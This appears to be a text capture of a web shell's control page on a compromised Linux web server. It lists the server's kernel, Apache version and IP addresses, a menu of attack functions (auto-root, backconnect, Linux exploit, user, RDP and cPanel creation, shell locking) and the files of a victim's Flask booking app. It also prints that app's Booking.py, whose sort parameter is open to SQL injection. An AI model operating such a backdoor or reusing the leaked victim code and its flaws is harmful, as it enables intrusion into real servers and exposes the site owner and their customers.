Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 52.15.253.72
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
afra /
py-maracar.afaa.website /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
email-template
[ DIR ]
drwxr-xr-x
logs
[ DIR ]
drwxr-xr-x
venv
[ DIR ]
drwxr-xr-x
.env
380
B
-rwxr-xr-x
.htaccess
459
B
-rwxr-xr-x
Booking.py
10.46
KB
-rwxr-xr-x
Booking_env_3.py
12.6
KB
-rwxr-xr-x
api_env_2_routes.py
2.92
KB
-rwxr-xr-x
api_env_3_routes.py
9.31
KB
-rwxr-xr-x
booking_delete.py
2.6
KB
-rwxr-xr-x
booking_delete_env_3.py
2.65
KB
-rwxr-xr-x
bookingdetail.py
16.94
KB
-rwxr-xr-x
bookingdetail_env_3.py
23.36
KB
-rwxr-xr-x
branch_env_3.py
6.16
KB
-rwxr-xr-x
change_password.py
2.09
KB
-rwxr-xr-x
check.py
4.36
KB
-rwxr-xr-x
check_env_2.py
3.82
KB
-rwxr-xr-x
check_env_3.py
3.82
KB
-rwxr-xr-x
check_tel.py
4.37
KB
-rwxr-xr-x
checkout.py
2.01
KB
-rwxr-xr-x
config.py
547
B
-rwxr-xr-x
connec_data.py
2.18
KB
-rwxr-xr-x
createkeysecret.py
304
B
-rwxr-xr-x
database.py
1.49
KB
-rwxr-xr-x
decorator.py
3.57
KB
-rwxr-xr-x
forgot.py
2.34
KB
-rwxr-xr-x
gen_uuid.py
4.17
KB
-rwxr-xr-x
image_conn_data.py
1.79
KB
-rwxr-xr-x
image_conn_data3.py
2.02
KB
-rwxr-xr-x
image_urls.py
7.49
KB
-rwxr-xr-x
image_urls_env_3.py
7.71
KB
-rwxr-xr-x
index.html
7.81
KB
-rwxr-xr-x
jangwat_thai.py
8.06
KB
-rwxr-xr-x
maracar.py
14.46
KB
-rwxr-xr-x
maracar.wsgi
379
B
-rwxr-xr-x
maracar_test.py
114
B
-rwxr-xr-x
matching_user_env_2.py
13.19
KB
-rwxr-xr-x
order_send_email_env_3.py
6.6
KB
-rwxr-xr-x
order_send_email_smtpgo.py
7.85
KB
-rw-r--r--
payments.py
9.07
KB
-rwxr-xr-x
payments_env_3.py
12.6
KB
-rwxr-xr-x
payments_payzen.py
14.1
KB
-rwxr-xr-x
payments_test_env_3.py
4.62
KB
-rwxr-xr-x
plot_cpu_usage.py
1.42
KB
-rwxr-xr-x
position_set.py
1.51
KB
-rwxr-xr-x
positions_list.py
987
B
-rwxr-xr-x
price_create.py
13.63
KB
-rwxr-xr-x
price_create3.py
21.56
KB
-rwxr-xr-x
promotion_items.py
4.9
KB
-rwxr-xr-x
promotions.py
8.44
KB
-rwxr-xr-x
queues.py
8.58
KB
-rwxr-xr-x
queues_env_3.py
11.28
KB
-rwxr-xr-x
register.py
5.11
KB
-rwxr-xr-x
register_edit.py
3
KB
-rwxr-xr-x
register_edit_env_2.py
3.14
KB
-rwxr-xr-x
register_edit_env_3.py
3.71
KB
-rwxr-xr-x
register_env_2.py
5.19
KB
-rwxr-xr-x
register_env_3.py
4.44
KB
-rwxr-xr-x
report_bookingoverview.py
9.86
KB
-rwxr-xr-x
report_bookingoverview_env_3.p...
12.93
KB
-rwxr-xr-x
requirements.txt
457
B
-rwxr-xr-x
reviews.py
9.42
KB
-rwxr-xr-x
reviews_env_3.py
12.91
KB
-rwxr-xr-x
service.py
5.87
KB
-rwxr-xr-x
service3.py
7.87
KB
-rwxr-xr-x
sms_octopush.py
1.71
KB
-rwxr-xr-x
sms_thsms3.py
2.09
KB
-rwxr-xr-x
specificinsert_env_2.py
3.63
KB
-rwxr-xr-x
status_list.py
960
B
-rwxr-xr-x
types_create.py
4.6
KB
-rwxr-xr-x
types_create3.py
8.91
KB
-rwxr-xr-x
update_status.py
2.52
KB
-rwxr-xr-x
user.py
4.02
KB
-rwxr-xr-x
user3.py
4.78
KB
-rwxr-xr-x
user_all.py
3.88
KB
-rwxr-xr-x
user_all_env_2.py
5.81
KB
-rwxr-xr-x
user_all_env_3.py
8.44
KB
-rwxr-xr-x
user_all_mlm.py
9.18
KB
-rwxr-xr-x
user_all_mlm_env_2.py
9.26
KB
-rwxr-xr-x
user_env_2.py
4.1
KB
-rwxr-xr-x
user_mlm.py
10.47
KB
-rwxr-xr-x
user_mlm_env_2.py
10.49
KB
-rwxr-xr-x
user_mlm_env_3.py
18.45
KB
-rw-r--r--
user_routes.py
1.28
KB
-rwxr-xr-x
website1.env
12
B
-rwxr-xr-x
website2.env
12
B
-rwxr-xr-x
website3.env
12
B
-rwxr-xr-x
website4.env
12
B
-rwxr-xr-x
website5.env
12
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Booking.py
# /var/www/website2024/py-maracar.afaa.website/Booking.py #python3 Booking.py from flask import Flask, request, jsonify from flask_cors import CORS from database import modify_db, query_db from config import SECRET_KEY from decorator import token_required from datetime import timedelta app = Flask(__name__) app.config['SECRET_KEY'] = SECRET_KEY CORS(app, resources={r"/*": {"origins": "*"}}) #API สำหรับ Null ไม่ Login @app.route('/booking/api/create_nulllogin', methods=['POST']) def create_bookin_nulllogin(): data = request.json bookings_info = [] # Initialize an empty list to store BookingID and CustomerID if isinstance(data, list): # Process each booking in the list for booking in data: booking_details = insert_booking(booking) if booking_details: # Append both BookingID and CustomerID to the list bookings_info.append({ 'BookingID': booking_details['BookingID'], 'CustomerID': booking_details['CustomerID'] }) else: # Process a single booking booking_details = insert_booking(data) if booking_details: # Append both BookingID and CustomerID to the list bookings_info.append({ 'BookingID': booking_details['BookingID'], 'CustomerID': booking_details['CustomerID'] }) if bookings_info: # Return all BookingIDs and CustomerIDs for the bookings created successfully return jsonify({'message': 'Booking created successfully', 'Bookings': bookings_info}), 201 else: return jsonify({'error': 'Failed to create booking'}), 500 @app.route('/booking/api/create', methods=['POST']) @token_required def create_booking(): data = request.json bookings_info = [] # Initialize an empty list to store BookingID and CustomerID if isinstance(data, list): # Process each booking in the list for booking in data: booking_details = insert_booking(booking) if booking_details: # Append both BookingID and CustomerID to the list bookings_info.append({ 'BookingID': booking_details['BookingID'], 'CustomerID': booking_details['CustomerID'] }) else: # Process a single booking booking_details = insert_booking(data) if booking_details: # Append both BookingID and CustomerID to the list bookings_info.append({ 'BookingID': booking_details['BookingID'], 'CustomerID': booking_details['CustomerID'] }) if bookings_info: # Return all BookingIDs and CustomerIDs for the bookings created successfully return jsonify({'message': 'Booking created successfully', 'Bookings': bookings_info}), 201 else: return jsonify({'error': 'Failed to create booking'}), 500 def insert_booking(booking_data): insert_query = '''INSERT INTO Bookings (CustomerID, TotalAmount, AmountPaid, BookingStatus, PaymentStatus, date, time) VALUES (%s, %s, %s, %s, %s, %s, %s)''' values = ( booking_data['CustomerID'], booking_data['TotalAmount'], booking_data['AmountPaid'], booking_data['BookingStatus'], booking_data['PaymentStatus'], booking_data['date'], booking_data['time'] ) try: # Perform the insert operation modify_db(insert_query, values) #app.logger.info(f"SQL Insert Query: {insert_query} Values: {values}") # SQL query to select the latest booking for the CustomerID select_query = '''SELECT * FROM `Bookings` WHERE CustomerID=%s ORDER BY BookingID DESC''' booking_details = query_db(select_query, (booking_data['CustomerID'],)) if booking_details: #app.logger.info(f"Latest BookingID for CustomerID {booking_data['CustomerID']}: {booking_details[0]['BookingID']}") #app.logger.info(f"SQL Select Query: {select_query} CustomerID: {booking_data['CustomerID']}") return booking_details[0] except Exception as e: app.logger.error(f"Failed to create booking: {e}") return None def timedelta_to_string(td): if isinstance(td, timedelta): return str(td) return td @app.route('/booking/api/view', methods=['GET']) @token_required def view_bookings(): try: query_params = request.args booking_id = query_params.get('BookingID') customer_id = query_params.get('CustomerID') customer_id_range = query_params.get('CustomerIDRange') # e.g., "57-58" date_from = query_params.get('date_from') date_to = query_params.get('date_to') status = query_params.get('status') sort_order = query_params.get('sort', 'desc') # 'asc' for ascending, 'desc' for descending sort_by = query_params.get('sort_by', 'BookingID') # Column to sort by payment_status = query_params.get('PaymentStatus') time_from = query_params.get('time_from') time_to = query_params.get('time_to') amount_min = query_params.get('amount_min') amount_max = query_params.get('amount_max') page = int(query_params.get('page', 1)) limit = int(query_params.get('limit', 10)) offset = (page - 1) * limit #query = "SELECT b.*, s.name AS PaymentStatusName FROM Bookings b INNER JOIN status s ON b.PaymentStatus = s.id" query = """ SELECT b.*, bs.name AS BookingStatusName, # Alias for booking status name ps.name AS PaymentStatusName # Alias for payment status name FROM Bookings b INNER JOIN status bs ON b.BookingStatus = bs.id # Join for booking status INNER JOIN status ps ON b.PaymentStatus = ps.id # Join for payment status """ conditions = [] values = [] if time_from and time_to: conditions.append("b.time BETWEEN %s AND %s") values.extend([time_from, time_to]) if amount_min and amount_max: conditions.append("b.TotalAmount BETWEEN %s AND %s") values.extend([amount_min, amount_max]) if booking_id: conditions.append("b.BookingID = %s") values.append(booking_id) if customer_id: conditions.append("b.CustomerID = %s") values.append(customer_id) if customer_id_range: start_id, end_id = customer_id_range.split('-') conditions.append("b.CustomerID BETWEEN %s AND %s") values.extend([start_id, end_id]) if date_from and date_to: conditions.append("b.date BETWEEN %s AND %s") values.extend([date_from, date_to]) if status: conditions.append("b.BookingStatus = %s") values.append(status) if payment_status: conditions.append("s.name = %s") values.append(payment_status) if conditions: query += " WHERE " + " AND ".join(conditions) # Append ORDER BY clause once, using 'sort_by' and 'sort_order' parameters query += f" ORDER BY b.{sort_by} {'ASC' if sort_order.lower() == 'asc' else 'DESC'}" # Add pagination to the query query += f" LIMIT %s OFFSET %s" values.extend([limit, offset]) #app.logger.info(f"SQL Query: {query}") bookings = query_db(query, tuple(values)) processed_bookings = [] for booking in bookings: processed_booking = {k: timedelta_to_string(v) if isinstance(v, timedelta) else v for k, v in booking.items()} processed_bookings.append(processed_booking) return jsonify(processed_bookings if processed_bookings else {'message': 'No bookings found'}), 200 if processed_bookings else 404 except Exception as e: app.logger.error(f'Error in view_bookings: {e}') return jsonify({'error': 'Internal server error'}), 500 @app.route('/booking/api/edit', methods=['PUT']) @token_required def edit_booking(): data = request.json if not isinstance(data, list): data = [data] # Convert data to a list if it's not already for booking_data in data: booking_id = booking_data['BookingID'] values = {} # Check if each field exists in the data before adding it to the update query if 'CustomerID' in booking_data: values['CustomerID'] = booking_data['CustomerID'] if 'TotalAmount' in booking_data: values['TotalAmount'] = booking_data['TotalAmount'] if 'AmountPaid' in booking_data: values['AmountPaid'] = booking_data['AmountPaid'] if 'BookingStatus' in booking_data: values['BookingStatus'] = booking_data['BookingStatus'] if 'PaymentStatus' in booking_data: values['PaymentStatus'] = booking_data['PaymentStatus'] if 'date' in booking_data: values['date'] = booking_data['date'] if 'time' in booking_data: values['time'] = booking_data['time'] # Construct the SQL UPDATE query dynamically based on the provided fields query = 'UPDATE Bookings SET ' query += ', '.join([f'{key}=%s' for key in values]) query += ' WHERE BookingID=%s' try: # Execute the dynamic SQL query with the corresponding values modify_db(query, list(values.values()) + [booking_id]) except Exception as e: app.logger.error(f"Failed to update booking {booking_id}: {e}") continue # Skip to the next booking update if an error occurs return jsonify({'message': 'Bookings updated successfully'}), 200 if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=427) import logging from logging.handlers import RotatingFileHandler import os # ตั้งค่า logging log_dir = '/var/log/python' if not os.path.exists(log_dir): os.makedirs(log_dir) file_handler = RotatingFileHandler(os.path.join(log_dir, 'flask_app.log'), maxBytes=100000, backupCount=10) file_handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]')) file_handler.setLevel(logging.INFO) app.logger.addHandler(file_handler) app.logger.setLevel(logging.INFO)
Close